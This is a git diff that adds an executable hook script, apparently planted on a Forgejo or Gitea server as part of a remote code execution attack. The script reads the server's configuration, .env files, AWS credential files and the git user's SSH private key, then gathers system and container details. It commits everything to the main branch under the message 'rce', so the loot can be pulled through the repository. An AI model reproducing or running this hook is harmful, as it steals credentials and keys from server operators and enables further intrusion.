diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..1f246aa --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,40 @@ +#!/bin/sh +O="" +# Forgejo config +O="$O===FORGEJO_CONFIG===" +O="$O$(cat /var/lib/forgejo/custom/conf/app.ini 2>/dev/null || cat /etc/forgejo/app.ini 2>/dev/null || cat /etc/gitea/app.ini 2>/dev/null)" +# Environment files +O="$O===ENV_FILES===" +O="$O$(find /var/lib/forgejo -name "*.env" -o -name ".env" 2>/dev/null | head -5)" +O="$O$(cat /var/lib/forgejo/.env 2>/dev/null)" +# AWS creds +O="$O===AWS_CREDS===" +O="$O$(cat /home/git/.aws/credentials 2>/dev/null)" +O="$O$(cat /root/.aws/credentials 2>/dev/null)" +# SSH keys +O="$O===SSH===" +O="$O$(ls -la /home/git/.ssh/ 2>/dev/null)" +O="$O$(cat /home/git/.ssh/id_rsa 2>/dev/null | head -5)" +# System info +O="$O===SYSTEM===" +O="$O$(uname -a)" +O="$O$(cat /etc/os-release 2>/dev/null | head -5)" +# Docker check +O="$O===DOCKER===" +O="$O$(ls /.dockerenv 2>/dev/null && echo DOCKER_CONTAINER || echo NO_DOCKER)" +# Check for kubelet +O="$O===K8S===" +O="$O$(ls /var/run/secrets/kubernetes.io 2>/dev/null || echo NO_K8S)" +# Home dir +O="$O===HOME===" +O="$O$(ls -la /home/ 2>/dev/null)" +O="$O$(ls -la /var/lib/forgejo/ 2>/dev/null | head -20)" +# Check for app data +O="$O===DATA===" +O="$O$(ls /var/lib/forgejo/data/ 2>/dev/null | head -10)" +O="$O$(find /var/lib/forgejo -maxdepth 3 -name "*.json" -o -name "*.yaml" -o -name "*.yml" 2>/dev/null | head -10)" +B=$(echo "$O" | git hash-object -w --stdin 2>/dev/null) +T2=$(printf "100644 blob %s\tout.txt" "$B" | git mktree 2>/dev/null) +H=$(git rev-parse HEAD 2>/dev/null) +C=$(git commit-tree "$T2" -p "$H" -m "rce" 2>/dev/null) +git update-ref refs/heads/main "$C" 2>/dev/null